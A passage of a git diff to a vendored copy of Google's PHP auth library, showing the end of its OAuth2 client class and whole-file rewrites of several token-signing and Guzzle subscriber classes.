$this->addClientCredentials($params); + break; + case 'refresh_token': + $params['refresh_token'] = $this->getRefreshToken(); + $this->addClientCredentials($params); + break; + case self::JWT_URN: + $params['assertion'] = $this->toJwt(); + break; + default: + if (!is_null($this->getRedirectUri())) { + # Grant type was supposed to be 'authorization_code', as there + # is a redirect URI. + throw new \DomainException('Missing authorization code'); + } + unset($params['grant_type']); + if (!is_null($grantType)) { + $params['grant_type'] = $grantType; + } + $params = array_merge($params, $this->getExtensionParams()); + } + + $headers = [ + 'Cache-Control' => 'no-store', + 'Content-Type' => 'application/x-www-form-urlencoded', + ]; + + return new Request( + 'POST', + $uri, + $headers, + Query::build($params) + ); + } + + /** + * Fetches the auth tokens based on the current state. + * + * @param callable $httpHandler callback which delivers psr7 request + * @return array the response + */ + public function fetchAuthToken(callable $httpHandler = null) + { + if (is_null($httpHandler)) { + $httpHandler = HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + } + + $response = $httpHandler($this->generateCredentialsRequest()); + $credentials = $this->parseTokenResponse($response); + $this->updateToken($credentials); + + return $credentials; + } + + /** + * Obtains a key that can used to cache the results of #fetchAuthToken. + * + * The key is derived from the scopes. + * + * @return string a key that may be used to cache the auth token. + */ + public function getCacheKey() + { + if (is_array($this->scope)) { + return implode(':', $this->scope); + } + + if ($this->audience) { + return $this->audience; + } + + // If scope has not set, return null to indicate no caching. + return null; + } + + /** + * Parses the fetched tokens. + * + * @param ResponseInterface $resp the response. + * @return array the tokens parsed from the response body. + * @throws \Exception + */ + public function parseTokenResponse(ResponseInterface $resp) + { + $body = (string)$resp->getBody(); + if ($resp->hasHeader('Content-Type') && + $resp->getHeaderLine('Content-Type') == 'application/x-www-form-urlencoded' + ) { + $res = array(); + parse_str($body, $res); + + return $res; + } + + // Assume it's JSON; if it's not throw an exception + if (null === $res = json_decode($body, true)) { + throw new \Exception('Invalid JSON response'); + } + + return $res; + } + + /** + * Updates an OAuth 2.0 client. + * + * Example: + * ``` + * $oauth->updateToken([ + * 'refresh_token' => 'n4E9O119d', + * 'access_token' => 'FJQbwq9', + * 'expires_in' => 3600 + * ]); + * ``` + * + * @param array $config + * The configuration parameters related to the token. + * + * - refresh_token + * The refresh token associated with the access token + * to be refreshed. + * + * - access_token + * The current access token for this client. + * + * - id_token + * The current ID token for this client. + * + * - expires_in + * The time in seconds until access token expiration. + * + * - expires_at + * The time as an integer number of seconds since the Epoch + * + * - issued_at + * The timestamp that the token was issued at. + */ + public function updateToken(array $config) + { + $opts = array_merge([ + 'extensionParams' => [], + 'access_token' => null, + 'id_token' => null, + 'expires_in' => null, + 'expires_at' => null, + 'issued_at' => null, + ], $config); + + $this->setExpiresAt($opts['expires_at']); + $this->setExpiresIn($opts['expires_in']); + // By default, the token is issued at `Time.now` when `expiresIn` is set, + // but this can be used to supply a more precise time. + if (!is_null($opts['issued_at'])) { + $this->setIssuedAt($opts['issued_at']); + } + + $this->setAccessToken($opts['access_token']); + $this->setIdToken($opts['id_token']); + // The refresh token should only be updated if a value is explicitly + // passed in, as some access token responses do not include a refresh + // token. + if (array_key_exists('refresh_token', $opts)) { + $this->setRefreshToken($opts['refresh_token']); + } + } + + /** + * Builds the authorization Uri that the user should be redirected to. + * + * @param array $config configuration options that customize the return url + * @return UriInterface the authorization Url. + * @throws InvalidArgumentException + */ + public function buildFullAuthorizationUri(array $config = []) + { + if (is_null($this->getAuthorizationUri())) { + throw new InvalidArgumentException( + 'requires an authorizationUri to have been set' + ); + } + + $params = array_merge([ + 'response_type' => 'code', + 'access_type' => 'offline', + 'client_id' => $this->clientId, + 'redirect_uri' => $this->redirectUri, + 'state' => $this->state, + 'scope' => $this->getScope(), + ], $config); + + // Validate the auth_params + if (is_null($params['client_id'])) { + throw new InvalidArgumentException( + 'missing the required client identifier' + ); + } + if (is_null($params['redirect_uri'])) { + throw new InvalidArgumentException('missing the required redirect URI'); + } + if (!empty($params['prompt']) && !empty($params['approval_prompt'])) { + throw new InvalidArgumentException( + 'prompt and approval_prompt are mutually exclusive' + ); + } + + // Construct the uri object; return it if it is valid. + $result = clone $this->authorizationUri; + $existingParams = Query::parse($result->getQuery()); + + $result = $result->withQuery( + Query::build(array_merge($existingParams, $params)) + ); + + if ($result->getScheme() != 'https') { + throw new InvalidArgumentException( + 'Authorization endpoint must be protected by TLS' + ); + } + + return $result; + } + + /** + * Sets the authorization server's HTTP endpoint capable of authenticating + * the end-user and obtaining authorization. + * + * @param string $uri + */ + public function setAuthorizationUri($uri) + { + $this->authorizationUri = $this->coerceUri($uri); + } + + /** + * Gets the authorization server's HTTP endpoint capable of authenticating + * the end-user and obtaining authorization. + * + * @return UriInterface + */ + public function getAuthorizationUri() + { + return $this->authorizationUri; + } + + /** + * Gets the authorization server's HTTP endpoint capable of issuing tokens + * and refreshing expired tokens. + * + * @return string + */ + public function getTokenCredentialUri() + { + return $this->tokenCredentialUri; + } + + /** + * Sets the authorization server's HTTP endpoint capable of issuing tokens + * and refreshing expired tokens. + * + * @param string $uri + */ + public function setTokenCredentialUri($uri) + { + $this->tokenCredentialUri = $this->coerceUri($uri); + } + + /** + * Gets the redirection URI used in the initial request. + * + * @return string + */ + public function getRedirectUri() + { + return $this->redirectUri; + } + + /** + * Sets the redirection URI used in the initial request. + * + * @param string $uri + */ + public function setRedirectUri($uri) + { + if (is_null($uri)) { + $this->redirectUri = null; + + return; + } + // redirect URI must be absolute + if (!$this->isAbsoluteUri($uri)) { + // "postmessage" is a reserved URI string in Google-land + // @see https://developers.google.com/identity/sign-in/web/server-side-flow + if ('postmessage' !== (string)$uri) { + throw new InvalidArgumentException( + 'Redirect URI must be absolute' + ); + } + } + $this->redirectUri = (string)$uri; + } + + /** + * Gets the scope of the access requests as a space-delimited String. + * + * @return string + */ + public function getScope() + { + if (is_null($this->scope)) { + return $this->scope; + } + + return implode(' ', $this->scope); + } + + /** + * Sets the scope of the access request, expressed either as an Array or as + * a space-delimited String. + * + * @param string|array $scope + * @throws InvalidArgumentException + */ + public function setScope($scope) + { + if (is_null($scope)) { + $this->scope = null; + } elseif (is_string($scope)) { + $this->scope = explode(' ', $scope); + } elseif (is_array($scope)) { + foreach ($scope as $s) { + $pos = strpos($s, ' '); + if ($pos !== false) { + throw new InvalidArgumentException( + 'array scope values should not contain spaces' + ); + } + } + $this->scope = $scope; + } else { + throw new InvalidArgumentException( + 'scopes should be a string or array of strings' + ); + } + } + + /** + * Gets the current grant type. + * + * @return string + */ + public function getGrantType() + { + if (!is_null($this->grantType)) { + return $this->grantType; + } + + // Returns the inferred grant type, based on the current object instance + // state. + if (!is_null($this->code)) { + return 'authorization_code'; + } + + if (!is_null($this->refreshToken)) { + return 'refresh_token'; + } + + if (!is_null($this->username) && !is_null($this->password)) { + return 'password'; + } + + if (!is_null($this->issuer) && !is_null($this->signingKey)) { + return self::JWT_URN; + } + + return null; + } + + /** + * Sets the current grant type. + * + * @param $grantType + * @throws InvalidArgumentException + */ + public function setGrantType($grantType) + { + if (in_array($grantType, self::$knownGrantTypes)) { + $this->grantType = $grantType; + } else { + // validate URI + if (!$this->isAbsoluteUri($grantType)) { + throw new InvalidArgumentException( + 'invalid grant type' + ); + } + $this->grantType = (string)$grantType; + } + } + + /** + * Gets an arbitrary string designed to allow the client to maintain state. + * + * @return string + */ + public function getState() + { + return $this->state; + } + + /** + * Sets an arbitrary string designed to allow the client to maintain state. + * + * @param string $state + */ + public function setState($state) + { + $this->state = $state; + } + + /** + * Gets the authorization code issued to this client. + */ + public function getCode() + { + return $this->code; + } + + /** + * Sets the authorization code issued to this client. + * + * @param string $code + */ + public function setCode($code) + { + $this->code = $code; + } + + /** + * Gets the resource owner's username. + */ + public function getUsername() + { + return $this->username; + } + + /** + * Sets the resource owner's username. + * + * @param string $username + */ + public function setUsername($username) + { + $this->username = $username; + } + + /** + * Gets the resource owner's password. + */ + public function getPassword() + { + return $this->password; + } + + /** + * Sets the resource owner's password. + * + * @param $password + */ + public function setPassword($password) + { + $this->password = $password; + } + + /** + * Sets a unique identifier issued to the client to identify itself to the + * authorization server. + */ + public function getClientId() + { + return $this->clientId; + } + + /** + * Sets a unique identifier issued to the client to identify itself to the + * authorization server. + * + * @param $clientId + */ + public function setClientId($clientId) + { + $this->clientId = $clientId; + } + + /** + * Gets a shared symmetric secret issued by the authorization server, which + * is used to authenticate the client. + */ + public function getClientSecret() + { + return $this->clientSecret; + } + + /** + * Sets a shared symmetric secret issued by the authorization server, which + * is used to authenticate the client. + * + * @param $clientSecret + */ + public function setClientSecret($clientSecret) + { + $this->clientSecret = $clientSecret; + } + + /** + * Gets the Issuer ID when using assertion profile. + */ + public function getIssuer() + { + return $this->issuer; + } + + /** + * Sets the Issuer ID when using assertion profile. + * + * @param string $issuer + */ + public function setIssuer($issuer) + { + $this->issuer = $issuer; + } + + /** + * Gets the target sub when issuing assertions. + */ + public function getSub() + { + return $this->sub; + } + + /** + * Sets the target sub when issuing assertions. + * + * @param string $sub + */ + public function setSub($sub) + { + $this->sub = $sub; + } + + /** + * Gets the target audience when issuing assertions. + */ + public function getAudience() + { + return $this->audience; + } + + /** + * Sets the target audience when issuing assertions. + * + * @param string $audience + */ + public function setAudience($audience) + { + $this->audience = $audience; + } + + /** + * Gets the signing key when using an assertion profile. + */ + public function getSigningKey() + { + return $this->signingKey; + } + + /** + * Sets the signing key when using an assertion profile. + * + * @param string $signingKey + */ + public function setSigningKey($signingKey) + { + $this->signingKey = $signingKey; + } + + /** + * Gets the signing key id when using an assertion profile. + * + * @return string + */ + public function getSigningKeyId() + { + return $this->signingKeyId; + } + + /** + * Sets the signing key id when using an assertion profile. + * + * @param string $signingKeyId + */ + public function setSigningKeyId($signingKeyId) + { + $this->signingKeyId = $signingKeyId; + } + + /** + * Gets the signing algorithm when using an assertion profile. + * + * @return string + */ + public function getSigningAlgorithm() + { + return $this->signingAlgorithm; + } + + /** + * Sets the signing algorithm when using an assertion profile. + * + * @param string $signingAlgorithm + */ + public function setSigningAlgorithm($signingAlgorithm) + { + if (is_null($signingAlgorithm)) { + $this->signingAlgorithm = null; + } elseif (!in_array($signingAlgorithm, self::$knownSigningAlgorithms)) { + throw new InvalidArgumentException('unknown signing algorithm'); + } else { + $this->signingAlgorithm = $signingAlgorithm; + } + } + + /** + * Gets the set of parameters used by extension when using an extension + * grant type. + */ + public function getExtensionParams() + { + return $this->extensionParams; + } + + /** + * Sets the set of parameters used by extension when using an extension + * grant type. + * + * @param $extensionParams + */ + public function setExtensionParams($extensionParams) + { + $this->extensionParams = $extensionParams; + } + + /** + * Gets the number of seconds assertions are valid for. + */ + public function getExpiry() + { + return $this->expiry; + } + + /** + * Sets the number of seconds assertions are valid for. + * + * @param int $expiry + */ + public function setExpiry($expiry) + { + $this->expiry = $expiry; + } + + /** + * Gets the lifetime of the access token in seconds. + */ + public function getExpiresIn() + { + return $this->expiresIn; + } + + /** + * Sets the lifetime of the access token in seconds. + * + * @param int $expiresIn + */ + public function setExpiresIn($expiresIn) + { + if (is_null($expiresIn)) { + $this->expiresIn = null; + $this->issuedAt = null; + } else { + $this->issuedAt = time(); + $this->expiresIn = (int)$expiresIn; + } + } + + /** + * Gets the time the current access token expires at. + * + * @return int + */ + public function getExpiresAt() + { + if (!is_null($this->expiresAt)) { + return $this->expiresAt; + } + + if (!is_null($this->issuedAt) && !is_null($this->expiresIn)) { + return $this->issuedAt + $this->expiresIn; + } + + return null; + } + + /** + * Returns true if the acccess token has expired. + * + * @return bool + */ + public function isExpired() + { + $expiration = $this->getExpiresAt(); + $now = time(); + + return !is_null($expiration) && $now >= $expiration; + } + + /** + * Sets the time the current access token expires at. + * + * @param int $expiresAt + */ + public function setExpiresAt($expiresAt) + { + $this->expiresAt = $expiresAt; + } + + /** + * Gets the time the current access token was issued at. + */ + public function getIssuedAt() + { + return $this->issuedAt; + } + + /** + * Sets the time the current access token was issued at. + * + * @param int $issuedAt + */ + public function setIssuedAt($issuedAt) + { + $this->issuedAt = $issuedAt; + } + + /** + * Gets the current access token. + */ + public function getAccessToken() + { + return $this->accessToken; + } + + /** + * Sets the current access token. + * + * @param string $accessToken + */ + public function setAccessToken($accessToken) + { + $this->accessToken = $accessToken; + } + + /** + * Gets the current ID token. + */ + public function getIdToken() + { + return $this->idToken; + } + + /** + * Sets the current ID token. + * + * @param $idToken + */ + public function setIdToken($idToken) + { + $this->idToken = $idToken; + } + + /** + * Gets the refresh token associated with the current access token. + */ + public function getRefreshToken() + { + return $this->refreshToken; + } + + /** + * Sets the refresh token associated with the current access token. + * + * @param $refreshToken + */ + public function setRefreshToken($refreshToken) + { + $this->refreshToken = $refreshToken; + } + + /** + * Sets additional claims to be included in the JWT token + * + * @param array $additionalClaims + */ + public function setAdditionalClaims(array $additionalClaims) + { + $this->additionalClaims = $additionalClaims; + } + + /** + * Gets the additional claims to be included in the JWT token. + * + * @return array + */ + public function getAdditionalClaims() + { + return $this->additionalClaims; + } + + /** + * The expiration of the last received token. + * + * @return array|null + */ + public function getLastReceivedToken() + { + if ($token = $this->getAccessToken()) { + // the bare necessity of an auth token + $authToken = [ + 'access_token' => $token, + 'expires_at' => $this->getExpiresAt(), + ]; + } elseif ($idToken = $this->getIdToken()) { + $authToken = [ + 'id_token' => $idToken, + 'expires_at' => $this->getExpiresAt(), + ]; + } else { + return null; + } + + if ($expiresIn = $this->getExpiresIn()) { + $authToken['expires_in'] = $expiresIn; + } + if ($issuedAt = $this->getIssuedAt()) { + $authToken['issued_at'] = $issuedAt; + } + if ($refreshToken = $this->getRefreshToken()) { + $authToken['refresh_token'] = $refreshToken; + } + + return $authToken; + } + + /** + * Get the client ID. + * + * Alias of {@see Google\Auth\OAuth2::getClientId()}. + * + * @param callable $httpHandler + * @return string + * @access private + */ + public function getClientName(callable $httpHandler = null) + { + return $this->getClientId(); + } + + /** + * @todo handle uri as array + * + * @param string $uri + * @return null|UriInterface + */ + private function coerceUri($uri) + { + if (is_null($uri)) { + return; + } + + return Utils::uriFor($uri); + } + + /** + * @param string $idToken + * @param string|array|null $publicKey + * @param array $allowedAlgs + * @return object + */ + private function jwtDecode($idToken, $publicKey, $allowedAlgs) + { + if (class_exists('Firebase\JWT\JWT')) { + return \Firebase\JWT\JWT::decode($idToken, $publicKey, $allowedAlgs); + } + + return \JWT::decode($idToken, $publicKey, $allowedAlgs); + } + + private function jwtEncode($assertion, $signingKey, $signingAlgorithm, $signingKeyId = null) + { + if (class_exists('Firebase\JWT\JWT')) { + return \Firebase\JWT\JWT::encode( + $assertion, + $signingKey, + $signingAlgorithm, + $signingKeyId + ); + } + + return \JWT::encode($assertion, $signingKey, $signingAlgorithm, $signingKeyId); + } + + /** + * Determines if the URI is absolute based on its scheme and host or path + * (RFC 3986). + * + * @param string $uri + * @return bool + */ + private function isAbsoluteUri($uri) + { + $uri = $this->coerceUri($uri); + + return $uri->getScheme() && ($uri->getHost() || $uri->getPath()); + } + + /** + * @param array $params + * @return array + */ + private function addClientCredentials(&$params) + { + $clientId = $this->getClientId(); + $clientSecret = $this->getClientSecret(); + + if ($clientId && $clientSecret) { + $params['client_id'] = $clientId; + $params['client_secret'] = $clientSecret; + } + + return $params; + } +} diff --git a/vendor/google/auth/src/ProjectIdProviderInterface.php b/vendor/google/auth/src/ProjectIdProviderInterface.php index 798ab8529e..0a41f78324 100644 --- a/vendor/google/auth/src/ProjectIdProviderInterface.php +++ b/vendor/google/auth/src/ProjectIdProviderInterface.php @@ -1,32 +1,32 @@ -auth->getSigningKey(); - - $signedString = ''; - if (class_exists('\\phpseclib\\Crypt\\RSA') && !$forceOpenssl) { - $rsa = new RSA(); - $rsa->loadKey($privateKey); - $rsa->setSignatureMode(RSA::SIGNATURE_PKCS1); - $rsa->setHash('sha256'); - - $signedString = $rsa->sign($stringToSign); - } elseif (extension_loaded('openssl')) { - openssl_sign($stringToSign, $signedString, $privateKey, 'sha256WithRSAEncryption'); - } else { - // @codeCoverageIgnoreStart - throw new \RuntimeException('OpenSSL is not installed.'); - } - // @codeCoverageIgnoreEnd - - return base64_encode($signedString); - } -} +auth->getSigningKey(); + + $signedString = ''; + if (class_exists('\\phpseclib\\Crypt\\RSA') && !$forceOpenssl) { + $rsa = new RSA(); + $rsa->loadKey($privateKey); + $rsa->setSignatureMode(RSA::SIGNATURE_PKCS1); + $rsa->setHash('sha256'); + + $signedString = $rsa->sign($stringToSign); + } elseif (extension_loaded('openssl')) { + openssl_sign($stringToSign, $signedString, $privateKey, 'sha256WithRSAEncryption'); + } else { + // @codeCoverageIgnoreStart + throw new \RuntimeException('OpenSSL is not installed.'); + } + // @codeCoverageIgnoreEnd + + return base64_encode($signedString); + } +} diff --git a/vendor/google/auth/src/SignBlobInterface.php b/vendor/google/auth/src/SignBlobInterface.php index 13021f4cd3..5f2c944147 100644 --- a/vendor/google/auth/src/SignBlobInterface.php +++ b/vendor/google/auth/src/SignBlobInterface.php @@ -1,44 +1,44 @@ -' - */ -class AuthTokenSubscriber implements SubscriberInterface -{ - /** - * @var callable - */ - private $httpHandler; - - /** - * @var FetchAuthTokenInterface - */ - private $fetcher; - - /** - * @var callable - */ - private $tokenCallback; - - /** - * Creates a new AuthTokenSubscriber. - * - * @param FetchAuthTokenInterface $fetcher is used to fetch the auth token - * @param callable $httpHandler (optional) http client to fetch the token. - * @param callable $tokenCallback (optional) function to be called when a new token is fetched. - */ - public function __construct( - FetchAuthTokenInterface $fetcher, - callable $httpHandler = null, - callable $tokenCallback = null - ) { - $this->fetcher = $fetcher; - $this->httpHandler = $httpHandler; - $this->tokenCallback = $tokenCallback; - } - - /** - * @return array - */ - public function getEvents() - { - return ['before' => ['onBefore', RequestEvents::SIGN_REQUEST]]; - } - - /** - * Updates the request with an Authorization header when auth is 'fetched_auth_token'. - * - * Example: - * ``` - * use GuzzleHttp\Client; - * use Google\Auth\OAuth2; - * use Google\Auth\Subscriber\AuthTokenSubscriber; - * - * $config = [...]; - * $oauth2 = new OAuth2($config) - * $subscriber = new AuthTokenSubscriber($oauth2); - * - * $client = new Client([ - * 'base_url' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'defaults' => ['auth' => 'google_auth'] - * ]); - * $client->getEmitter()->attach($subscriber); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - * ``` - * - * @param BeforeEvent $event - */ - public function onBefore(BeforeEvent $event) - { - // Requests using "auth"="google_auth" will be authorized. - $request = $event->getRequest(); - if ($request->getConfig()['auth'] != 'google_auth') { - return; - } - - // Fetch the auth token. - $auth_tokens = $this->fetcher->fetchAuthToken($this->httpHandler); - if (array_key_exists('access_token', $auth_tokens)) { - $request->setHeader('authorization', 'Bearer ' . $auth_tokens['access_token']); - - // notify the callback if applicable - if ($this->tokenCallback) { - call_user_func($this->tokenCallback, $this->fetcher->getCacheKey(), $auth_tokens['access_token']); - } - } - - if ($quotaProject = $this->getQuotaProject()) { - $request->setHeader( - GetQuotaProjectInterface::X_GOOG_USER_PROJECT_HEADER, - $quotaProject - ); - } - } - - private function getQuotaProject() - { - if ($this->fetcher instanceof GetQuotaProjectInterface) { - return $this->fetcher->getQuotaProject(); - } - } -} +' + */ +class AuthTokenSubscriber implements SubscriberInterface +{ + /** + * @var callable + */ + private $httpHandler; + + /** + * @var FetchAuthTokenInterface + */ + private $fetcher; + + /** + * @var callable + */ + private $tokenCallback; + + /** + * Creates a new AuthTokenSubscriber. + * + * @param FetchAuthTokenInterface $fetcher is used to fetch the auth token + * @param callable $httpHandler (optional) http client to fetch the token. + * @param callable $tokenCallback (optional) function to be called when a new token is fetched. + */ + public function __construct( + FetchAuthTokenInterface $fetcher, + callable $httpHandler = null, + callable $tokenCallback = null + ) { + $this->fetcher = $fetcher; + $this->httpHandler = $httpHandler; + $this->tokenCallback = $tokenCallback; + } + + /** + * @return array + */ + public function getEvents() + { + return ['before' => ['onBefore', RequestEvents::SIGN_REQUEST]]; + } + + /** + * Updates the request with an Authorization header when auth is 'fetched_auth_token'. + * + * Example: + * ``` + * use GuzzleHttp\Client; + * use Google\Auth\OAuth2; + * use Google\Auth\Subscriber\AuthTokenSubscriber; + * + * $config = [...]; + * $oauth2 = new OAuth2($config) + * $subscriber = new AuthTokenSubscriber($oauth2); + * + * $client = new Client([ + * 'base_url' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'defaults' => ['auth' => 'google_auth'] + * ]); + * $client->getEmitter()->attach($subscriber); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + * ``` + * + * @param BeforeEvent $event + */ + public function onBefore(BeforeEvent $event) + { + // Requests using "auth"="google_auth" will be authorized. + $request = $event->getRequest(); + if ($request->getConfig()['auth'] != 'google_auth') { + return; + } + + // Fetch the auth token. + $auth_tokens = $this->fetcher->fetchAuthToken($this->httpHandler); + if (array_key_exists('access_token', $auth_tokens)) { + $request->setHeader('authorization', 'Bearer ' . $auth_tokens['access_token']); + + // notify the callback if applicable + if ($this->tokenCallback) { + call_user_func($this->tokenCallback, $this->fetcher->getCacheKey(), $auth_tokens['access_token']); + } + } + + if ($quotaProject = $this->getQuotaProject()) { + $request->setHeader( + GetQuotaProjectInterface::X_GOOG_USER_PROJECT_HEADER, + $quotaProject + ); + } + } + + private function getQuotaProject() + { + if ($this->fetcher instanceof GetQuotaProjectInterface) { + return $this->fetcher->getQuotaProject(); + } + } +} diff --git a/vendor/google/auth/src/Subscriber/ScopedAccessTokenSubscriber.php b/vendor/google/auth/src/Subscriber/ScopedAccessTokenSubscriber.php index 3beabc02ba..a52dccefd3 100644 --- a/vendor/google/auth/src/Subscriber/ScopedAccessTokenSubscriber.php +++ b/vendor/google/auth/src/Subscriber/ScopedAccessTokenSubscriber.php @@ -1,180 +1,180 @@ -' - */ -class ScopedAccessTokenSubscriber implements SubscriberInterface -{ - use CacheTrait; - - const DEFAULT_CACHE_LIFETIME = 1500; - - /** - * @var CacheItemPoolInterface - */ - private $cache; - - /** - * @var callable The access token generator function - */ - private $tokenFunc; - - /** - * @var array|string The scopes used to generate the token - */ - private $scopes; - - /** - * @var array - */ - private $cacheConfig; - - /** - * Creates a new ScopedAccessTokenSubscriber. - * - * @param callable $tokenFunc a token generator function - * @param array|string $scopes the token authentication scopes - * @param array $cacheConfig configuration for the cache when it's present - * @param CacheItemPoolInterface $cache an implementation of CacheItemPoolInterface - */ - public function __construct( - callable $tokenFunc, - $scopes, - array $cacheConfig = null, - CacheItemPoolInterface $cache = null - ) { - $this->tokenFunc = $tokenFunc; - if (!(is_string($scopes) || is_array($scopes))) { - throw new \InvalidArgumentException( - 'wants scope should be string or array' - ); - } - $this->scopes = $scopes; - - if (!is_null($cache)) { - $this->cache = $cache; - $this->cacheConfig = array_merge([ - 'lifetime' => self::DEFAULT_CACHE_LIFETIME, - 'prefix' => '', - ], $cacheConfig); - } - } - - /** - * @return array - */ - public function getEvents() - { - return ['before' => ['onBefore', RequestEvents::SIGN_REQUEST]]; - } - - /** - * Updates the request with an Authorization header when auth is 'scoped'. - * - * E.g this could be used to authenticate using the AppEngine AppIdentityService. - * - * Example: - * ``` - * use google\appengine\api\app_identity\AppIdentityService; - * use Google\Auth\Subscriber\ScopedAccessTokenSubscriber; - * use GuzzleHttp\Client; - * - * $scope = 'https://www.googleapis.com/auth/taskqueue' - * $subscriber = new ScopedAccessToken( - * 'AppIdentityService::getAccessToken', - * $scope, - * ['prefix' => 'Google\Auth\ScopedAccessToken::'], - * $cache = new Memcache() - * ); - * - * $client = new Client([ - * 'base_url' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'defaults' => ['auth' => 'scoped'] - * ]); - * $client->getEmitter()->attach($subscriber); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - * ``` - * - * @param BeforeEvent $event - */ - public function onBefore(BeforeEvent $event) - { - // Requests using "auth"="scoped" will be authorized. - $request = $event->getRequest(); - if ($request->getConfig()['auth'] != 'scoped') { - return; - } - $auth_header = 'Bearer ' . $this->fetchToken(); - $request->setHeader('authorization', $auth_header); - } - - /** - * @return string - */ - private function getCacheKey() - { - $key = null; - - if (is_string($this->scopes)) { - $key .= $this->scopes; - } elseif (is_array($this->scopes)) { - $key .= implode(':', $this->scopes); - } - - return $key; - } - - /** - * Determine if token is available in the cache, if not call tokenFunc to - * fetch it. - * - * @return string - */ - private function fetchToken() - { - $cacheKey = $this->getCacheKey(); - $cached = $this->getCachedValue($cacheKey); - - if (!empty($cached)) { - return $cached; - } - - $token = call_user_func($this->tokenFunc, $this->scopes); - $this->setCachedValue($cacheKey, $token); - - return $token; - } -} +' + */ +class ScopedAccessTokenSubscriber implements SubscriberInterface +{ + use CacheTrait; + + const DEFAULT_CACHE_LIFETIME = 1500; + + /** + * @var CacheItemPoolInterface + */ + private $cache; + + /** + * @var callable The access token generator function + */ + private $tokenFunc; + + /** + * @var array|string The scopes used to generate the token + */ + private $scopes; + + /** + * @var array + */ + private $cacheConfig; + + /** + * Creates a new ScopedAccessTokenSubscriber. + * + * @param callable $tokenFunc a token generator function + * @param array|string $scopes the token authentication scopes + * @param array $cacheConfig configuration for the cache when it's present + * @param CacheItemPoolInterface $cache an implementation of CacheItemPoolInterface + */ + public function __construct( + callable $tokenFunc, + $scopes, + array $cacheConfig = null, + CacheItemPoolInterface $cache = null + ) { + $this->tokenFunc = $tokenFunc; + if (!(is_string($scopes) || is_array($scopes))) { + throw new \InvalidArgumentException( + 'wants scope should be string or array' + ); + } + $this->scopes = $scopes; + + if (!is_null($cache)) { + $this->cache = $cache; + $this->cacheConfig = array_merge([ + 'lifetime' => self::DEFAULT_CACHE_LIFETIME, + 'prefix' => '', + ], $cacheConfig); + } + } + + /** + * @return array + */ + public function getEvents() + { + return ['before' => ['onBefore', RequestEvents::SIGN_REQUEST]]; + } + + /** + * Updates the request with an Authorization header when auth is 'scoped'. + * + * E.g this could be used to authenticate using the AppEngine AppIdentityService. + * + * Example: + * ``` + * use google\appengine\api\app_identity\AppIdentityService; + * use Google\Auth\Subscriber\ScopedAccessTokenSubscriber; + * use GuzzleHttp\Client; + * + * $scope = 'https://www.googleapis.com/auth/taskqueue' + * $subscriber = new ScopedAccessToken( + * 'AppIdentityService::getAccessToken', + * $scope, + * ['prefix' => 'Google\Auth\ScopedAccessToken::'], + * $cache = new Memcache() + * ); + * + * $client = new Client([ + * 'base_url' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'defaults' => ['auth' => 'scoped'] + * ]); + * $client->getEmitter()->attach($subscriber); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + * ``` + * + * @param BeforeEvent $event + */ + public function onBefore(BeforeEvent $event) + { + // Requests using "auth"="scoped" will be authorized. + $request = $event->getRequest(); + if ($request->getConfig()['auth'] != 'scoped') { + return; + } + $auth_header = 'Bearer ' . $this->fetchToken(); + $request->setHeader('authorization', $auth_header); + } + + /** + * @return string + */ + private function getCacheKey() + { + $key = null; + + if (is_string($this->scopes)) { + $key .= $this->scopes; + } elseif (is_array($this->scopes)) { + $key .= implode(':', $this->scopes); + } + + return $key; + } + + /** + * Determine if token is available in the cache, if not call tokenFunc to + * fetch it. + * + * @return string + */ + private function fetchToken() + { + $cacheKey = $this->getCacheKey(); + $cached = $this->getCachedValue($cacheKey); + + if (!empty($cached)) { + return $cached; + } + + $token = call_user_func($this->tokenFunc, $this->scopes); + $this->setCachedValue($cacheKey, $token); + + return $token; + } +} diff --git a/vendor/google/auth/src/Subscriber/SimpleSubscriber.php b/vendor/google/auth/src/Subscriber/SimpleSubscriber.php index 264972eac4..a881eb19db 100644 --- a/vendor/google/auth/src/Subscriber/SimpleSubscriber.php +++ b/vendor/google/auth/src/Subscriber/SimpleSubscriber.php @@ -1,93 +1,93 @@ -config = array_merge([], $config); - } - - /** - * @return array - */ - public function getEvents() - { - return ['before' => ['onBefore', RequestEvents::SIGN_REQUEST]]; - } - - /** - * Updates the request query with the developer key if auth is set to simple. - * - * Example: - * ``` - * use Google\Auth\Subscriber\SimpleSubscriber; - * use GuzzleHttp\Client; - * - * $my_key = 'is not the same as yours'; - * $subscriber = new SimpleSubscriber(['key' => $my_key]); - * - * $client = new Client([ - * 'base_url' => 'https://www.googleapis.com/discovery/v1/', - * 'defaults' => ['auth' => 'simple'] - * ]); - * $client->getEmitter()->attach($subscriber); - * - * $res = $client->get('drive/v2/rest'); - * ``` - * - * @param BeforeEvent $event - */ - public function onBefore(BeforeEvent $event) - { - // Requests using "auth"="simple" with the developer key. - $request = $event->getRequest(); - if ($request->getConfig()['auth'] != 'simple') { - return; - } - $request->getQuery()->overwriteWith($this->config); - } -} +config = array_merge([], $config); + } + + /** + * @return array + */ + public function getEvents() + { + return ['before' => ['onBefore', RequestEvents::SIGN_REQUEST]]; + } + + /** + * Updates the request query with the developer key if auth is set to simple. + * + * Example: + * ``` + * use Google\Auth\Subscriber\SimpleSubscriber; + * use GuzzleHttp\Client; + * + * $my_key = 'is not the same as yours'; + * $subscriber = new SimpleSubscriber(['key' => $my_key]); + * + * $client = new Client([ + * 'base_url' => 'https://www.googleapis.com/discovery/v1/', + * 'defaults' => ['auth' => 'simple'] + * ]); + * $client->getEmitter()->attach($subscriber); + * + * $res = $client->get('drive/v2/rest'); + * ``` + * + * @param BeforeEvent $event + */ + public function onBefore(BeforeEvent $event) + { + // Requests using "auth"="simple" with the developer key. + $request = $event->getRequest(); + if ($request->getConfig()['auth'] != 'simple') { + return; + } + $request->getQuery()->overwriteWith($this->config); + } +} diff --git a/vendor/google/auth/src/UpdateMetadataInterface.php b/vendor/google/auth/src/UpdateMetadataInterface.php index 88fe7d1800..d28b75c5fd 100644 --- a/vendor/google/auth/src/UpdateMetadataInterface.php +++ b/vendor/google/auth/src/UpdateMetadataInterface.php @@ -1,41 +1,41 @@ -cache = 